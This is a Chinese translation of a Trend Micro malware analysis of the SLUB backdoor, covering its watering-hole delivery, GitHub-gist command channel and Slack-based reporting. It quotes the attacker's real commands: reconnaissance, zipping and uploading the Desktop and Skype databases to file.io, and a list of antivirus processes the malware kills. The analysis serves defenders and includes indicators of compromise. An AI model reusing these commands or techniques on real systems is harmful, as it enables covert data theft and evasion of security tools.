最近趨勢科技遇到了一個在各方面都令我們訝異的未知惡意程式。首先,我們發現它是經由水坑式攻擊來散布,要使用這項散步技巧,歹徒必須先駭入某個網站,然後在網頁中插入程式碼來將訪客重導到用來感染電腦的網頁。在此案例當中,每位訪客只會被重導一次,而感染時會攻擊 CVE-2018-8174 這個 VBScript 引擎的漏洞。不過,此漏洞早在 2018 年 5 月 Microsoft 即已修正。
其次,惡意程式採用的是多重階段感染技巧。在攻擊前述漏洞之後,惡意程式會下載一個 DLL 動態連結程式庫檔案,並使用 PowerShell (PS) 來執行此檔案。該檔案其實也是一個檔案下載程式,它會下載並執行另一個後門程式的執行檔。此外,第一階段下載程式會檢查使用者的電腦上是否有某些防毒軟體正在執行,如果有的話就將防毒軟體的執行程序終止。在我們發現此惡意程式的當下,各家防毒軟體似乎都還不認得這個惡意程式。
除了先前提到的狀況之外,我們也很快注意到此惡意程式會連線至 Slack 這個協同作業訊息平台,在這平台上,使用者可利用頻道來建立自己的工作空間 (Workspace),有點類似 IRC 聊天系統。這一點很有意思,因為我們至今尚未見過有哪個惡意程式利用 Slack 來進行通訊。
根據趨勢科技對駭客攻擊工具、技巧及程序的技術性分析,我們認為這項威脅應該與一起隱匿的針對性攻擊有關,並且由具備相當技巧的駭客所發動,而非一般的網路犯罪攻擊。
趨勢科技一發現此惡意程式便立即通知了加拿大網路資安中心 (Canadian Centre for Cyber Security),該中心是加拿大的國家電腦資安事件應變小組 (Canada’s National Computer Security Incident Response Team,簡稱 CSIRT)。該中心也通知了受害的網站,協助他們了解發現到的惡意程式並提供矯正建議。
完整感染過程
惡意檔案下載程式
這起攻擊的惡意檔案下載程式是一個經由 PowerShell 執行的 DLL 檔案,該檔案有幾項功能。首先,它會下載第二階段的後門程式並加以執行,我們將它命名為「SLUB」(SLack 和 githUB 的縮寫,正式名稱:Backdoor.Win32.SLUB.A)。其次,它會檢查電腦上是否有以下防毒軟體執行程序:
- V3Tray.exe
- AYAgent.aye
- navapsvc.exe
- ashServ.exe
- avgemc.exe
- bdagent.exe
- ZhuDongFangYu.exe
若有,就將執行程序終止。
最後,下載程式會攻擊 CVE-2015-1701 漏洞來提升權限,其漏洞攻擊程式碼很可能是取自某個 GitHub 儲存庫 (如下圖所示),然後再加以修改。
SLUB 後門程式
SLUB 後門程式是一個採用 C++ 程式語言撰寫的客製化後門程式,並利用 curl 靜態連結程式庫來執行各種 HTTP 請求,此外還用到其他兩個靜態連結程式:boost (用來從 gist snippet 當中擷取指令) 與 JsonCpp (用來解析 slack 頻道通訊)。
不僅如此,惡意程式也用到兩個授權金鑰來與 Slack API 通訊。
- 它會將自己複製到「ProgramData\update\」當中,然後再透過「Run」系統登錄機碼,使用 rundll32.exe 呼叫「UpdateMPUnits」匯出函式,以便長期潛伏在系統內。請注意其機碼的「ValueName」數值「Microsoft Setup Initializazion」有拼字錯誤 (正確的拼法應該是「Initialization」)。
圖 3:寫入「Run」系統登錄機碼的內容。
- 它會從 Github 下載某個 gist snippet,然後解析當中的指令來執行 (後面會再多做說明)。其中,只有以「^」字元開頭並以「$」字元結尾的指令才會被執行,其他資料將被忽略。
圖 4:從 Github 下載的 gist snippet。
指令的執行結果會利用前述的內嵌金鑰發送到一個 Slack 工作空間的私人頻道當中。
請注意,這樣的作法有個缺點是駭客無法對特定目標下達指令,每一台被感染的電腦都會執行 gist snippet 當中的指令。
圖 5:後門程式通訊機制,通訊必須由駭客發起。
後門程式功能
此後門程式支援以下指令和副指令 (大多數都不需多加解釋應該就能一目了然),指令的參數使用逗點「,」分開 (如前面圖 4 所示):
指令列 | 詳細資訊 |
exec | 利用 cmd.exe 來執行指令。 |
dnexec | 下載並執行指令。 |
update | 下載某個檔案,將當前的版本移除,然後執行下載的檔案。 |
destroy | 利用批次腳本刪除硬碟上的惡意程式。 |
capture | 擷取螢幕抓圖並傳送至 Slack 頻道。 |
file | |
list | 列出某個檔案。 |
copy | 複製某個檔案。 |
delete | 刪除某個檔案。 |
upload | 將本地端檔案上傳至 file.io 網站,將下載連結貼到 Slack 頻道當中。 |
dir | |
create | 建立目錄。 |
remove | 移除目錄。 |
proc | |
list | 列出執行程序。 |
kill | 終止執行程序。 |
drive | |
list | 取得當前硬碟每個磁卷的相關資訊,例如:剩餘空間、詳細屬性資料、USN 日誌啟用狀態、加密狀態等等。 |
reg | |
Query | 查詢系統登錄機碼。 |
Read | 讀取系統登錄機碼。 |
Write | 寫入系統登錄機碼。 |
tmout | 呼叫「sleep」(睡眠) 功能。 |
Slack
通訊相關功能
Slack 通訊相關功能含有兩個寫死的認證金鑰並切割成多個小塊。
圖 6:通訊功能程式碼。
隨後,後門程式會取得使用者名稱和電腦名稱 (如圖 7) 然後建立一個 Slack 頻道並上傳訊息。它會利用以下 API 來發送訊息:
- https://api.slack.com/methods/chat.postMessage
圖 7:取得使用者名稱和電腦名稱。
在相關功能函式當中可明顯看到「title」(標題)、「text」(文字)、「channel」(頻道)、「attachments」(附件) 等關鍵字。
圖 8:在功能函式當中可看到一些關鍵字。
每個指令執行後的輸出結果都會發送至一個 Slack 私人頻道中,而指令本身則是透過另一個 Slack 私人頻道,以附件的形式發送並使用以下文字:*computername:username*。
駭客的攻擊工具、技巧和程序
這起攻擊所用到的 Github 帳號和 Slack 工作空間都是在 2 月 19 和 20 日兩天特別針對該起攻擊行動而建立,至於駭客所用到的惡意程式,我們推測應該是在 2 月 22 日所組譯。
駭客在 2 月 20 日將第一批指令加入 Github 當中。不過若從 Slack 頻道來看,我們可以發現駭客曾經在 2 月 23 和 24 日兩天測試過惡意程式。第一批受害者則是從 2 月 27 日開始出現。
駭客的第一步行動就是先從已感染的電腦上擷取更多資訊以進一步了解受害電腦:
^exec,tasklist$
^capture$
^drive,list$
^file,list,C:\Users\$
^reg,read,HKEY_CURRENT_USER,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run$
他們會查看電腦上的執行程序、擷取螢幕抓圖、列出所有硬碟與使用者,並且建立系統登錄來讓惡意程式常駐。
此外,也會列出一些常見目錄的檔案清單:
^exec,dir /s C:\Users\USER\Desktop\$\
^exec,dir /s C:\Users\USER\Downloads\$\
^exec,dir /s C:\Users\USER\Recent\$
我們對某些指令特別感到興趣,例如某個可讓駭客將使用者整個「桌面」資料夾變成一個壓縮檔的指令,如下所示:
^exec,powershell -Command compress-archive -path C:\Users\USER\Desktop -destinationpath C:\Users\USER\doc1$\
^file,upload,C:\Users\USER\doc1$
以下指令會將使用者的「桌面」資料夾底下的所有檔案和目錄清單建立成一個 CAB 檔案:
^exec,cd C:\Users\USER & dir /s /b /a-d C:\Users\USER\Desktop > C:\Users\USER\win12 & makecab /d CabinetName1=win34 /f C:\Users\USER\win12$
駭客對於 Skype 軟體的本機端資料庫似乎也有興趣:
^file,upload C:\Users\Admin\AppData\Roaming\Skype\DataRv\offline-storage-ecs.data$
^file,upload C:\Users\Admin\AppData\Roaming\Skype\DataRv\offline-storage.data$
^file,upload C:\Users\Admin\AppData\Roaming\Skype\DataRv\offline-storage.data-shm$
^file,upload C:\Users\Admin\AppData\Roaming\Skype\DataRv\offline-storage.data-wal$
駭客會將所有 .HWP 檔案 (這是韓國某個文書處理程式所用的副檔名) 複製到某個目錄。
^exec,copy C:\Users\USER\Desktop\*.hwp C:\Users\USER\oo$
駭客很可能有意將此目錄匯出,但我們卻沒有看到相關的指令。
除此之外,我們還特別注意到某個名為「Neologic Plus Board」的軟體,這似乎是一個電子布告板系統 (BBS) 的管理程式。駭客蒐集的某些檔案當中,含有數百個 BBS 的網址。我們也發現大多數被上傳至 file.io 的檔案在我們試圖取得時都已遭到刪除。
從駭客所執行的指令來看,我們推測他們想要尋找一些跟人有關的資訊。駭客希望了解更多有關受害者的日常通訊。所以,除了蒐集 .HWP 檔案之外,他們會試圖挖掘一些 Twitter、Skype、KakaoTalk、BBS (甚至其他通訊軟體) 的相關情報。
以下時間序列顯示駭客的攻擊行動相當迅速:
圖 9:攻擊事件時間序列。
結論
這起攻擊行動最令人玩味的一點或許是歹徒使用了三種不同的通訊平台,分別用來:發送指令、接收結果、蒐集檔案。
我們有相當的把握認為這應該是一起針對性攻擊的一環。至目前為止,我們尚未發現與此相關的攻擊,也沒有在其他地方看到這個客製化後門程式。我們也試圖搜尋類似的惡意程式樣本,但至今仍未發現,這很可能意味著,惡意程式是由歹徒所自行開發,或者是由其他駭客私下提供,並未公開流傳。
從歹徒所執行的指令可以看出歹徒對個人通訊相當感到興趣,尤其是各種通訊軟體,這應該是為了進一步了解受害的使用者。
除此之外,從攻擊手法來看,駭客似乎也是專業人士。由於他們只用到一些公開的通訊服務,因此完全不須註冊任何網域或可能留下任何痕跡的東西。而且我們在調查過程當中發現的幾個電子郵件地址也都是使用一些垃圾郵件系統,因此不會留下痕跡。最後,歹徒選擇設置水坑式攻擊的網站,其吸引的對象應該是一些對政治有興趣的人,這或許可以讓我大致了解駭客想要攻擊的族群。
在此我們要特別感謝 Github 的 SIRT 和 Slack 的資安團隊迅速將相關檔案移除,這等於切斷了歹徒與其惡意程式之間的通訊。
此外,針對這起事件,Slack 也發出以下回應:
如趨勢科技在其貼文中所指出,他們最近發現有人利用惡意程式入侵了他人的電腦,並且通知我們有某個 Slack 工作空間也牽涉其中。我們立即著手調查並關閉了違反我們服務條款的工作空間,並確認 Slack 在此事件當中並未遭到任何入侵。我們一向竭力避免我們的平台遭到濫用,同時對於違反我們服務條款的任何情況我們都將採取行動。
入侵指標 (IoC):
- 3ba00114d0ae766cf77edcdcc953ec6ee7527181968c02d4ffc36b9f89c4ebc7 (Trojan.Win32.CVE20151701.E)
- 43221eb160733ea694b4fdda70e7eab4a86d59c5f9749fd2f9b71783e5da6dd7 (Backdoor.Win32.SLUB.A)
網址:
- hxxps://gist.github[.]com/kancc14522/626a3a68a2cc2a91c1ece1eed7610c8a
原文出處:New SLUB Backdoor Uses GitHub, Communicates via Slack 作者:Cedric Pernet、Daniel Lunghi、Jaromir Horejsi 與 Joseph C. Chen